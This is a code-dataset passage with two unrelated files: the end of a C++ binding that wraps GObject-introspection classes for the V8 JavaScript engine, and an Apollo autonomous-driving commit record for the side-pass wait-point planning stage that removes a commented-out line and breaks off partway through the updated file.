persistent;\n\n g_type_set_qdata (gtype, gnode_js_template_quark (), NULL);\n g_base_info_unref (info);\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplate(Isolate *isolate, GIBaseInfo *info, GType gtype) {\n void *data = g_type_get_qdata (gtype, gnode_js_template_quark ());\n\n if (data) {\n Persistent<FunctionTemplate> *persistent = (Persistent<FunctionTemplate> *) data;\n Handle<FunctionTemplate> tpl = Handle<FunctionTemplate>::New (isolate, *persistent);\n return tpl;\n } else {\n \/\/printf(\"\\x1b[38;5;201mGetClassTemplate \\x1b[93m%lu\\x1b[0m %s \\n\", gtype, g_type_name(gtype));\n \/\/const char *class_name = g_base_info_get_name (info);\n const char *class_name = g_type_name (gtype);\n\n Handle<FunctionTemplate> tpl = FunctionTemplate::New (isolate, GObjectConstructor, External::New (isolate, info));\n tpl->SetClassName (String::NewFromUtf8 (isolate, class_name));\n tpl->InstanceTemplate ()->SetInternalFieldCount (1);\n\n Persistent<FunctionTemplate> *persistent = new Persistent<FunctionTemplate>(isolate, tpl);\n persistent->SetWeak (g_base_info_ref (info), ClassDestroyed);\n g_type_set_qdata (gtype, gnode_js_template_quark (), persistent);\n\n GIObjectInfo *parent_info = g_object_info_get_parent (info);\n if (parent_info) {\n Handle<FunctionTemplate> parent_tpl = GetClassTemplateFromGI (isolate, (GIBaseInfo *) parent_info);\n tpl->Inherit (parent_tpl);\n } else {\n tpl->Inherit (GetBaseClassTemplate (isolate));\n }\n\n return tpl;\n }\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGI(Isolate *isolate, GIBaseInfo *info) {\n GType gtype = g_registered_type_info_get_g_type ((GIRegisteredTypeInfo *) info);\n return GetClassTemplate (isolate, info, gtype);\n}\n\nstatic Handle<FunctionTemplate> GetClassTemplateFromGType(Isolate *isolate, GType gtype) {\n GIRepository *repo = g_irepository_get_default ();\n GIBaseInfo *info = g_irepository_find_by_gtype (repo, gtype);\n while (info == NULL) {\n gtype = g_type_parent(gtype);\n info = g_irepository_find_by_gtype (repo, gtype);\n }\n return GetClassTemplate (isolate, info, gtype);\n}\n\nHandle<Function> MakeClass(Isolate *isolate, GIBaseInfo *info) {\n Handle<FunctionTemplate> tpl = GetClassTemplateFromGI (isolate, info);\n return tpl->GetFunction ();\n}\n\nstatic void ObjectDestroyed(const WeakCallbackData<Object, GObject> &data) {\n GObject *gobject = data.GetParameter ();\n\n void *type_data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n assert (type_data != NULL);\n Persistent<Object> *persistent = (Persistent<Object> *) type_data;\n delete persistent;\n\n \/* We're destroying the wrapper object, so make sure to clear out\n * the qdata that points back to us. *\/\n g_object_set_qdata (gobject, gnode_js_object_quark (), NULL);\n\n g_object_unref (gobject);\n}\n\nstatic void ToggleNotify(gpointer user_data, GObject *gobject, gboolean toggle_down) {\n void *data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n assert (data != NULL);\n\n Persistent<Object> *persistent = (Persistent<Object> *) data;\n\n if (toggle_down) {\n \/* We're dropping from 2 refs to 1 ref. We are the last holder. Make\n * sure that that our weak ref is installed. *\/\n persistent->SetWeak (gobject, ObjectDestroyed);\n } else {\n \/* We're going from 1 ref to 2 refs. We can't let our wrapper be\n * collected, so make sure that our reference is persistent *\/\n persistent->ClearWeak ();\n }\n}\n\nHandle<Value> WrapperFromGObject(Isolate *isolate, GIBaseInfo *info, GObject *gobject) {\n void *data = g_object_get_qdata (gobject, gnode_js_object_quark ());\n\n if (data) {\n \/* Easy case: we already have an object. *\/\n Persistent<Object> *persistent = (Persistent<Object> *) data;\n Handle<Object> obj = Handle<Object>::New (isolate, *persistent);\n return obj;\n } else {\n GType type = G_OBJECT_TYPE(gobject);\n const char *name = G_OBJECT_TYPE_NAME(gobject);\n \/\/GTypePlugin *plugin = g_type_get_plugin(type);\n void *klass = g_type_class_ref (type);\n\n DEBUG(\"GObject: %s \\n\", name);\n printf(\"\\x1b[38;5;202mclass: %s \\x1b[0;93m %lu \\x1b[0m\\n\",\n G_OBJECT_CLASS_NAME (klass),\n G_OBJECT_CLASS_TYPE (klass) );\n print_type(type);\n\n if (info != NULL) {\n print_info(info);\n \/\/if (GI_IS_OBJECT_INFO(info)) {\n \/\/GIBaseInfo *class_info = g_object_info_get_class_struct(info);\n \/\/print_info(class_info);\n \/\/g_base_info_unref(class_info);\n \/\/}\n }\n\n Handle<FunctionTemplate> tpl;\n\n tpl = GetClassTemplateFromGType (isolate, type);\n\n Handle<Function> constructor = tpl->GetFunction ();\n Handle<Value> gobject_external = External::New (isolate, gobject);\n Handle<Value> args[] = { gobject_external };\n Handle<Object> obj = constructor->NewInstance (1, args);\n\n \/\/g_base_info_unref(info);\n g_type_class_unref (klass);\n\n return obj;\n }\n}\n\nGObject * GObjectFromWrapper(Handle<Value> value) {\n Handle<Object> object = value->ToObject ();\n void *data = object->GetAlignedPointerFromInternalField (0);\n GObject *gobject = G_OBJECT (data);\n return gobject;\n}\n\n};\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/scenarios\/side_pass\/side_pass_stop_on_wait_point.h\"\n\n#include <algorithm>\n#include <vector>\n\n#include \"modules\/common\/configs\/vehicle_config_helper.h\"\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n#include \"modules\/planning\/common\/frame.h\"\n#include \"modules\/planning\/common\/speed_profile_generator.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\nnamespace scenario {\nnamespace side_pass {\n\nusing apollo::common::TrajectoryPoint;\nusing apollo::common::PathPoint;\nusing apollo::common::math::Vec2d;\nusing apollo::common::VehicleConfigHelper;\n\nconstexpr double kExtraMarginforStopOnWaitPointStage = 3.0;\n\nStage::StageStatus SidePassStopOnWaitPoint::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n ADEBUG << \"Processing SidePassStopOnWaitPoint\";\n const ReferenceLineInfo& reference_line_info =\n frame->reference_line_info().front();\n const ReferenceLine& reference_line = reference_line_info.reference_line();\n const PathDecision& path_decision = reference_line_info.path_decision();\n\n if (GetContext()->path_data_.discretized_path().path_points().empty()) {\n AERROR << \"path data is empty.\";\n return Stage::ERROR;\n }\n\n if (!GetContext()->path_data_.UpdateFrenetFramePath(&reference_line)) {\n return Stage::ERROR;\n }\n\n const auto adc_frenet_frame_point_ =\n reference_line.GetFrenetPoint(frame->PlanningStartPoint().path_point());\n\n if (!GetContext()->path_data_.LeftTrimWithRefS(adc_frenet_frame_point_)) {\n return Stage::ERROR;\n }\n if (GetContext()->path_data_.discretized_path().path_points().empty()) {\n AERROR << \"path data is empty after trim.\";\n return Stage::ERROR;\n }\n\n for (const auto& p :\n GetContext()->path_data_.discretized_path().path_points()) {\n ADEBUG << p.ShortDebugString();\n }\n\n \/\/ Get the nearest obstacle\n const Obstacle* nearest_obstacle = nullptr;\n if (!GetTheNearestObstacle(reference_line, path_decision.obstacles(),\n &nearest_obstacle)) {\n AERROR << \"Failed while running the function to get nearest obstacle.\";\n return Stage::ERROR;\n }\n\n \/\/ If the nearest obstacle, provided it exists, is moving,\n \/\/ then quit the side_pass stage.\n if (nearest_obstacle) {\n if (nearest_obstacle->speed() >\n GetContext()->scenario_config_.block_obstacle_min_speed()) {\n ADEBUG << \"The nearest obstacle to side-pass is moving.\";\n next_stage_ = ScenarioConfig::NO_STAGE;\n return Stage::FINISHED;\n }\n }\n\n ADEBUG << \"Got the nearest obstacle if there is one.\";\n \/\/ Get the \"wait point\".\n PathPoint first_path_point =\n GetContext()->path_data_.discretized_path().path_points().front();\n PathPoint last_path_point;\n bool should_not_move_at_all = false;\n if (!GetMoveForwardLastPathPoint(reference_line, nearest_obstacle,\n &last_path_point, &should_not_move_at_all)) {\n ADEBUG << \"Fail to get move forward last path point.\";\n return Stage::ERROR;\n }\n if (should_not_move_at_all) {\n ADEBUG << \"The ADC is already at a stop point.\";\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n return Stage::FINISHED; \/\/ return FINISHED if it's already at \"wait point\".\n }\n\n ADEBUG << \"first_path_point: \" << first_path_point.ShortDebugString();\n ADEBUG << \"last_path_point : \" << last_path_point.ShortDebugString();\n double move_forward_distance = last_path_point.s() - first_path_point.s();\n ADEBUG << \"move_forward_distance: \" << move_forward_distance;\n\n \/\/ Wait until everything is clear.\n if (!IsFarAwayFromObstacles(reference_line, path_decision.obstacles(),\n first_path_point, last_path_point)) {\n \/\/ wait here, do nothing this cycle.\n auto& rfl_info = frame->mutable_reference_line_info()->front();\n *(rfl_info.mutable_path_data()) = GetContext()->path_data_;\n *(rfl_info.mutable_speed_data()) =\n SpeedProfileGenerator::GenerateFallbackSpeedProfile();\n\n rfl_info.set_trajectory_type(ADCTrajectory::NORMAL);\n DiscretizedTrajectory trajectory;\n if (!rfl_info.CombinePathAndSpeedProfile(\n frame->PlanningStartPoint().relative_time(),\n frame->PlanningStartPoint().path_point().s(), &trajectory)) {\n AERROR << \"Fail to aggregate planning trajectory.\";\n return Stage::RUNNING;\n }\n rfl_info.SetTrajectory(trajectory);\n rfl_info.SetDrivable(true);\n\n ADEBUG << \"waiting until obstacles are far away.\";\n return Stage::RUNNING;\n }\n\n \/\/ (1) call proceed with cautious\n constexpr double kSidePassCreepSpeed = 2.33; \/\/ m\/s\n auto& rfl_info = frame->mutable_reference_line_info()->front();\n *(rfl_info.mutable_speed_data()) =\n SpeedProfileGenerator::GenerateFixedDistanceCreepProfile(\n move_forward_distance, kSidePassCreepSpeed);\n\n for (const auto& sd : rfl_info.mutable_speed_data()->speed_vector()) {\n ADEBUG << sd.ShortDebugString();\n }\n\n \/\/ (2) combine path and speed.\n *(rfl_info.mutable_path_data()) = GetContext()->path_data_;\n\n rfl_info.set_trajectory_type(ADCTrajectory::NORMAL);\n DiscretizedTrajectory trajectory;\n if (!rfl_info.CombinePathAndSpeedProfile(\n frame->PlanningStartPoint().relative_time(),\n frame->PlanningStartPoint().path_point().s(), &trajectory)) {\n AERROR << \"Fail to aggregate planning trajectory.\";\n return Stage::RUNNING;\n }\n rfl_info.SetTrajectory(trajectory);\n rfl_info.SetDrivable(true);\n\n constexpr double kBuffer = 0.3;\n if (move_forward_distance < kBuffer) {\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n }\n return Stage::FINISHED;\n}\n\nbool SidePassStopOnWaitPoint::IsFarAwayFromObstacles(\n const ReferenceLine& reference_line,\n const IndexedList<std::string, Obstacle>& indexed_obstacle_list,\n const PathPoint& first_path_point, const PathPoint& last_path_point) {\n common::SLPoint first_sl_point;\n\n if (!reference_line.XYToSL(Vec2d(first_path_point.x(), first_path_point.y()),\n &first_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n common::SLPoint last_sl_point;\n if (!reference_line.XYToSL(Vec2d(last_path_point.x(), last_path_point.y()),\n &last_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n \/\/ Go through every obstacle, check if there is any in the no_obs_zone,\n \/\/ which will be used by the proceed_with_caution movement.\n for (const auto* obstacle : indexed_obstacle_list.Items()) {\n if (obstacle->IsVirtual()) {\n continue;\n }\n \/\/ Check the s-direction.\n double obs_start_s = obstacle->PerceptionSLBoundary().start_s();\n double obs_end_s = obstacle->PerceptionSLBoundary().end_s();\n if (obs_end_s < first_sl_point.s() ||\n obs_start_s > last_sl_point.s() + kExtraMarginforStopOnWaitPointStage) {\n continue;\n }\n \/\/ Check the l-direction.\n double lane_left_width_at_start_s = 0.0;\n double lane_left_width_at_end_s = 0.0;\n double lane_right_width_at_start_s = 0.0;\n double lane_right_width_at_end_s = 0.0;\n reference_line.GetLaneWidth(obs_start_s, &lane_left_width_at_start_s,\n &lane_right_width_at_start_s);\n reference_line.GetLaneWidth(obs_end_s, &lane_left_width_at_end_s,\n &lane_right_width_at_end_s);\n double lane_left_width = std::min(std::abs(lane_left_width_at_start_s),\n std::abs(lane_left_width_at_end_s));\n double lane_right_width = std::min(std::abs(lane_right_width_at_start_s),\n std::abs(lane_right_width_at_end_s));\n double obs_start_l = obstacle->PerceptionSLBoundary().start_l();\n double obs_end_l = obstacle->PerceptionSLBoundary().end_l();\n if (obs_start_l < lane_left_width && -obs_end_l < lane_right_width) {\n return false;\n }\n }\n return true;\n}\n\nbool SidePassStopOnWaitPoint::GetTheNearestObstacle(\n const ReferenceLine& reference_line,\n const IndexedList<std::string, Obstacle>& indexed_obstacle_list,\n const Obstacle** nearest_obstacle) {\n \/\/ Get the first path point. This can be used later to\n \/\/ filter out other obstaces that are behind ADC.\n PathPoint first_path_point =\n GetContext()->path_data_.discretized_path().path_points().front();\n common::SLPoint first_sl_point;\n if (!reference_line.XYToSL(Vec2d(first_path_point.x(), first_path_point.y()),\n &first_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n \/\/ Go through every obstacle.\n bool exist_nearest_obs = false;\n *nearest_obstacle = nullptr;\n double s_of_nearest_obs = 0.0;\n for (const auto* obstacle : indexed_obstacle_list.Items()) {\n ADEBUG << \"Looking at Obstacle: \" << obstacle->Id();\n\n if (obstacle->IsVirtual()) {\n continue;\n }\n\n \/\/ Check the s-direction. Rule out those obstacles that are behind ADC.\n double obs_start_s = obstacle->PerceptionSLBoundary().start_s();\n double obs_end_s = obstacle->PerceptionSLBoundary().end_s();\n if (obs_end_s <= first_sl_point.s()) {\n ADEBUG << \"Obstacle behind ADC. Rule out.\";\n continue;\n }\n\n \/\/ Check the l-direction. Rule out those obstacles that are not\n \/\/ blocking our drive-way.\n \/\/ TODO(all): should make this a GFLAG because this is also used by\n \/\/ side_pass_scenario.cc. They should be consistent.\n constexpr double kLBufferThreshold = 0.3; \/\/ unit: m\n const double driving_width =\n reference_line.GetDrivingWidth(obstacle->PerceptionSLBoundary());\n const double adc_width =\n VehicleConfigHelper::GetConfig().vehicle_param().width();\n\n \/\/ Refresh the s of the nearest obstacle if needed.\n if (driving_width - adc_width - FLAGS_static_decision_nudge_l_buffer <=\n kLBufferThreshold) {\n \/\/ if (obs_start_l < lane_left_width && -obs_end_l < lane_right_width) {\n ADEBUG << \"Obstacle is not completely outside the current lane.\";\n if (!exist_nearest_obs) {\n ADEBUG << \"Updating the nearest obstacle to: obstacle_\"\n << obstacle->Id();\n exist_nearest_obs = true;\n *nearest_obstacle = obstacle;\n s_of_nearest_obs = obs_start_s;\n } else {\n if (obs_start_s < s_of_nearest_obs) {\n ADEBUG << \"Updating the nearest obstacle to: obstacle_\"\n << obstacle->Id();\n *nearest_obstacle = obstacle;\n s_of_nearest_obs = obs_start_s;\n }\n }\n }\n }\n\n return true;\n}\n\nbool SidePassStopOnWaitPoint::GetMoveForwardLastPathPoint(\n const ReferenceLine& reference_line, const Obstacle* nearest_obstacle,\n PathPoint* const last_path_point, bool* should_not_move_at_all) {\n *should_not_move_at_all = false;\n int count = 0;\n\n bool exist_nearest_obs = (nearest_obstacle != nullptr);\n double s_max = 0.0;\n if (exist_nearest_obs) {\n ADEBUG << \"There exists a nearest obstacle.\";\n s_max = nearest_obstacle->PerceptionSLBoundary().start_s();\n }\n\n for (const auto& path_point :\n GetContext()->path_data_.discretized_path().path_points()) {\n \/\/ Get the four corner points ABCD of ADC at every path point,\n \/\/ and keep checking until it gets out of the current lane or\n \/\/ reaches the nearest obstacle (in the same lane) ahead.\n const auto& vehicle_box =\n common::VehicleConfigHelper::Instance()->GetBoundingBox(path_point);\n std::vector<Vec2d> ABCDpoints = vehicle_box.GetAllCorners();\n bool is_out_of_curr_lane = false;\n for (size_t i = 0; i < ABCDpoints.size(); i++) {\n \/\/ For each corner point, project it onto reference_line\n common::SLPoint curr_point_sl;\n if (!reference_line.XYToSL(ABCDpoints[i], &curr_point_sl)) {\n AERROR << \"Failed to get the projection from point onto \"\n \"reference_line\";\n return false;\n }\n \/\/ Get the lane width at the current s indicated by path_point\n double curr_point_left_width = 0.0;\n double curr_point_right_width = 0.0;\n reference_line.GetLaneWidth(curr_point_sl.s(), &curr_point_left_width,\n &curr_point_right_width);\n \/\/ Check if this corner point is within the lane:\n if (curr_point_sl.l() > std::abs(curr_point_left_width) ||\n curr_point_sl.l() < -std::abs(curr_point_right_width)) {\n is_out_of_curr_lane = true;\n break;\n }\n \/\/ Check if this corner point is before the nearest obstacle:\n if (exist_nearest_obs && curr_point_sl.s() > s_max) {\n is_out_of_curr_lane = true;\n break;\n }\n }\n\n if (is_out_of_curr_lane) {\n if (count == 0) {\n \/\/ The current ADC, without moving at all, is already at least\n \/\/ partially out of the current lane.\n *should_not_move_at_all = true;\n return true;\n }\n break;\n } else {\n *last_path_point = path_point;\n }\n\n CHECK_GE(path_point.s(), 0.0);\n ++count;\n }\n return true;\n}\n\n} \/\/ namespace side_pass\n} \/\/ namespace scenario\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>Planning: removed unused code.<commit_after>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/scenarios\/side_pass\/side_pass_stop_on_wait_point.h\"\n\n#include <algorithm>\n#include <vector>\n\n#include \"modules\/common\/configs\/vehicle_config_helper.h\"\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n#include \"modules\/planning\/common\/frame.h\"\n#include \"modules\/planning\/common\/speed_profile_generator.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\nnamespace scenario {\nnamespace side_pass {\n\nusing apollo::common::TrajectoryPoint;\nusing apollo::common::PathPoint;\nusing apollo::common::math::Vec2d;\nusing apollo::common::VehicleConfigHelper;\n\nconstexpr double kExtraMarginforStopOnWaitPointStage = 3.0;\n\nStage::StageStatus SidePassStopOnWaitPoint::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n ADEBUG << \"Processing SidePassStopOnWaitPoint\";\n const ReferenceLineInfo& reference_line_info =\n frame->reference_line_info().front();\n const ReferenceLine& reference_line = reference_line_info.reference_line();\n const PathDecision& path_decision = reference_line_info.path_decision();\n\n if (GetContext()->path_data_.discretized_path().path_points().empty()) {\n AERROR << \"path data is empty.\";\n return Stage::ERROR;\n }\n\n if (!GetContext()->path_data_.UpdateFrenetFramePath(&reference_line)) {\n return Stage::ERROR;\n }\n\n const auto adc_frenet_frame_point_ =\n reference_line.GetFrenetPoint(frame->PlanningStartPoint().path_point());\n\n if (!GetContext()->path_data_.LeftTrimWithRefS(adc_frenet_frame_point_)) {\n return Stage::ERROR;\n }\n if (GetContext()->path_data_.discretized_path().path_points().empty()) {\n AERROR << \"path data is empty after trim.\";\n return Stage::ERROR;\n }\n\n for (const auto& p :\n GetContext()->path_data_.discretized_path().path_points()) {\n ADEBUG << p.ShortDebugString();\n }\n\n \/\/ Get the nearest obstacle\n const Obstacle* nearest_obstacle = nullptr;\n if (!GetTheNearestObstacle(reference_line, path_decision.obstacles(),\n &nearest_obstacle)) {\n AERROR << \"Failed while running the function to get nearest obstacle.\";\n return Stage::ERROR;\n }\n\n \/\/ If the nearest obstacle, provided it exists, is moving,\n \/\/ then quit the side_pass stage.\n if (nearest_obstacle) {\n if (nearest_obstacle->speed() >\n GetContext()->scenario_config_.block_obstacle_min_speed()) {\n ADEBUG << \"The nearest obstacle to side-pass is moving.\";\n next_stage_ = ScenarioConfig::NO_STAGE;\n return Stage::FINISHED;\n }\n }\n\n ADEBUG << \"Got the nearest obstacle if there is one.\";\n \/\/ Get the \"wait point\".\n PathPoint first_path_point =\n GetContext()->path_data_.discretized_path().path_points().front();\n PathPoint last_path_point;\n bool should_not_move_at_all = false;\n if (!GetMoveForwardLastPathPoint(reference_line, nearest_obstacle,\n &last_path_point, &should_not_move_at_all)) {\n ADEBUG << \"Fail to get move forward last path point.\";\n return Stage::ERROR;\n }\n if (should_not_move_at_all) {\n ADEBUG << \"The ADC is already at a stop point.\";\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n return Stage::FINISHED; \/\/ return FINISHED if it's already at \"wait point\".\n }\n\n ADEBUG << \"first_path_point: \" << first_path_point.ShortDebugString();\n ADEBUG << \"last_path_point : \" << last_path_point.ShortDebugString();\n double move_forward_distance = last_path_point.s() - first_path_point.s();\n ADEBUG << \"move_forward_distance: \" << move_forward_distance;\n\n \/\/ Wait until everything is clear.\n if (!IsFarAwayFromObstacles(reference_line, path_decision.obstacles(),\n first_path_point, last_path_point)) {\n \/\/ wait here, do nothing this cycle.\n auto& rfl_info = frame->mutable_reference_line_info()->front();\n *(rfl_info.mutable_path_data()) = GetContext()->path_data_;\n *(rfl_info.mutable_speed_data()) =\n SpeedProfileGenerator::GenerateFallbackSpeedProfile();\n\n rfl_info.set_trajectory_type(ADCTrajectory::NORMAL);\n DiscretizedTrajectory trajectory;\n if (!rfl_info.CombinePathAndSpeedProfile(\n frame->PlanningStartPoint().relative_time(),\n frame->PlanningStartPoint().path_point().s(), &trajectory)) {\n AERROR << \"Fail to aggregate planning trajectory.\";\n return Stage::RUNNING;\n }\n rfl_info.SetTrajectory(trajectory);\n rfl_info.SetDrivable(true);\n\n ADEBUG << \"waiting until obstacles are far away.\";\n return Stage::RUNNING;\n }\n\n \/\/ (1) call proceed with cautious\n constexpr double kSidePassCreepSpeed = 2.33; \/\/ m\/s\n auto& rfl_info = frame->mutable_reference_line_info()->front();\n *(rfl_info.mutable_speed_data()) =\n SpeedProfileGenerator::GenerateFixedDistanceCreepProfile(\n move_forward_distance, kSidePassCreepSpeed);\n\n for (const auto& sd : rfl_info.mutable_speed_data()->speed_vector()) {\n ADEBUG << sd.ShortDebugString();\n }\n\n \/\/ (2) combine path and speed.\n *(rfl_info.mutable_path_data()) = GetContext()->path_data_;\n\n rfl_info.set_trajectory_type(ADCTrajectory::NORMAL);\n DiscretizedTrajectory trajectory;\n if (!rfl_info.CombinePathAndSpeedProfile(\n frame->PlanningStartPoint().relative_time(),\n frame->PlanningStartPoint().path_point().s(), &trajectory)) {\n AERROR << \"Fail to aggregate planning trajectory.\";\n return Stage::RUNNING;\n }\n rfl_info.SetTrajectory(trajectory);\n rfl_info.SetDrivable(true);\n\n constexpr double kBuffer = 0.3;\n if (move_forward_distance < kBuffer) {\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n }\n return Stage::FINISHED;\n}\n\nbool SidePassStopOnWaitPoint::IsFarAwayFromObstacles(\n const ReferenceLine& reference_line,\n const IndexedList<std::string, Obstacle>& indexed_obstacle_list,\n const PathPoint& first_path_point, const PathPoint& last_path_point) {\n common::SLPoint first_sl_point;\n\n if (!reference_line.XYToSL(Vec2d(first_path_point.x(), first_path_point.y()),\n &first_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n common::SLPoint last_sl_point;\n if (!reference_line.XYToSL(Vec2d(last_path_point.x(), last_path_point.y()),\n &last_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n \/\/ Go through every obstacle, check if there is any in the no_obs_zone,\n \/\/ which will be used by the proceed_with_caution movement.\n for (const auto* obstacle : indexed_obstacle_list.Items()) {\n if (obstacle->IsVirtual()) {\n continue;\n }\n \/\/ Check the s-direction.\n double obs_start_s = obstacle->PerceptionSLBoundary().start_s();\n double obs_end_s = obstacle->PerceptionSLBoundary().end_s();\n if (obs_end_s < first_sl_point.s() ||\n obs_start_s > last_sl_point.s() + kExtraMarginforStopOnWaitPointStage) {\n continue;\n }\n \/\/ Check the l-direction.\n double lane_left_width_at_start_s = 0.0;\n double lane_left_width_at_end_s = 0.0;\n double lane_right_width_at_start_s = 0.0;\n double lane_right_width_at_end_s = 0.0;\n reference_line.GetLaneWidth(obs_start_s, &lane_left_width_at_start_s,\n &lane_right_width_at_start_s);\n reference_line.GetLaneWidth(obs_end_s, &lane_left_width_at_end_s,\n &lane_right_width_at_end_s);\n double lane_left_width = std::min(std::abs(lane_left_width_at_start_s),\n std::abs(lane_left_width_at_end_s));\n double lane_right_width = std::min(std::abs(lane_right_width_at_start_s),\n std::abs(lane_right_width_at_end_s));\n double obs_start_l = obstacle->PerceptionSLBoundary().start_l();\n double obs_end_l = obstacle->PerceptionSLBoundary().end_l();\n if (obs_start_l < lane_left_width && -obs_end_l < lane_right_width) {\n return false;\n }\n }\n return true;\n}\n\nbool SidePassStopOnWaitPoint::GetTheNearestObstacle(\n const ReferenceLine& reference_line,\n const IndexedList<std::string, Obstacle>& indexed_obstacle_list,\n const Obstacle** nearest_obstacle) {\n \/\/ Get the first path point. This can be used later to\n \/\/ filter out other obstaces that are behind ADC.\n PathPoint first_path_point =\n GetContext()->path_data_.discretized_path().path_points().front();\n common::SLPoint first_sl_point;\n if (!reference_line.XYToSL(Vec2d(first_path_point.x(), first_path_point.y()),\n &first_sl_point)) {\n AERROR << \"Failed to get the projection from TrajectoryPoint onto \"\n \"reference_line\";\n return false;\n }\n\n \/\/ Go through every obstacle.\n bool exist_nearest_obs = false;\n *nearest_obstacle = nullptr;\n double s_of_nearest_obs = 0.0;\n for (const auto* obstacle : indexed_obstacle_list.Items()) {\n ADEBUG << \"Looking at Obstacle: \" << obstacle->Id();\n\n if (obstacle->IsVirtual()) {\n continue;\n }\n\n \/\/ Check the s-direction. Rule out those obstacles that are behind ADC.\n double obs_start_s = obstacle->PerceptionSLBoundary().start_s();\n double obs_end_s = obstacle->PerceptionSLBoundary().end_s();\n if (obs_end_s <= first_sl_point.s()) {\n ADEBUG << \"Obstacle behind ADC. Rule out.\";\n continue;\n }\n\n \/\/ Check the l-direction. Rule out those obstacles that are not\n \/\/ blocking our drive-way.\n \/\/ TODO(all): should make this a GFLAG because this is also used by\n \/\/ side_pass_scenario.cc. They should be consistent.\n constexpr double kLBufferThreshold = 0.3; \/\/ unit: m\n const double driving_width =\n reference_line.GetDrivingWidth(obstacle->PerceptionSLBoundary());\n const double adc_width =\n VehicleConfigHelper::GetConfig().vehicle_param().width();\n\n \/\/ Refresh the s of the nearest obstacle if needed.\n if (driving_width - adc_width - FLAGS_static_decision_nudge_l_buffer <=\n kLBufferThreshold) {\n ADEBUG << \"Obstacle is not completely outside the current lane.\";\n if (!exist_nearest_obs) {\n ADEBUG << \"Updating the nearest obstacle to: obstacle_\"\n << obstacle->Id();\n exist_nearest_obs = true;\n *nearest_obstacle = obstacle;\n s_of_nearest_obs = obs_start_s;\n } else {\n if (obs_start_s < s_of_nearest_obs) {\n ADEBUG << \"Updating the nearest obstacle to: obstacle_\"\n << obstacle->Id();\n *nearest_obstacle = obstacle;\n s_of_nearest_obs = obs_start_s;\n }\n }\n }\n }\n\n return true;\n}\n\nbool SidePassStopOnWaitPoint::GetMoveForwardLastPathPoint(\n const ReferenceLine& reference_line, const Obstacle* nearest_obstacle,\n PathPoint* const last_path_point, bool* should_not_move_at_all) {\n *should_not_move_at_all = false;\n int count = 0;\n\n bool exist_nearest_obs = (nearest_obstacle != nullptr);\n double s_max = 0.0;\n if (exist_nearest_obs) {\n ADEBUG << \"There exists a nearest obstacle.\";\n s_max = nearest_obstacle->PerceptionSLBoundary().start_s();\n }\n\n for (const auto& path_point :\n GetContext()->path_data_.discretized_path().path_points()) {\n \/\/ Get the four corner points ABCD of ADC at every path point,\n \/\/ and keep checking until it gets out of the current lane or\n \/\/ reaches the nearest obstacle (in the same lane) ahead.\n const auto& vehicle_box =\n common::VehicleConfigHelper::Instance()->GetBoundingBox(path_point);\n std::vector<Vec2d> ABCDpoints = vehicle_box.GetAllCorners();\n bool is_out_of_curr_lane = false;\n for (size_t i = 0; i < ABCDpoints.size(); i++) {\n \/\/ For each corner point, project it onto reference_line\n common::SLPoint curr_point_sl;\n if (!reference_line.XYToSL(ABCDpoints[i], &curr_point_sl)) {\n AERROR << \"Failed to get the projection from point onto \"\n \"reference_line\";\n return false;\n }\n \/\/ Get the lane width at the current s indicated by path_point\n double curr_point_left_width = 0.0;\n double curr_point_right_width = 0.0;\n reference_line.GetLaneWidth(curr_point_sl.s(), &curr_point_left_width,\n &curr_point_right_width);\n \/\/ Check if this corner point is within the lane:\n if (curr_point_sl.l() > std::abs(curr_point_left_width) ||\n curr_point_sl.l() < -std::abs(curr_point_right_width)) {\n is_out_of_curr_lane = true;\n break;\n }\n \/\/ Check if this corner point is before the nearest obstacle:\n if (exist_nearest_obs && curr_point_sl.s() > s_max) {\n is_out_of_curr_lane = true;\n break;\n }\n }\n\n if (is_out_of_curr_lane) {\n if (count == 0) {\n \/\/ The current ADC, without moving at all, is already at least\n 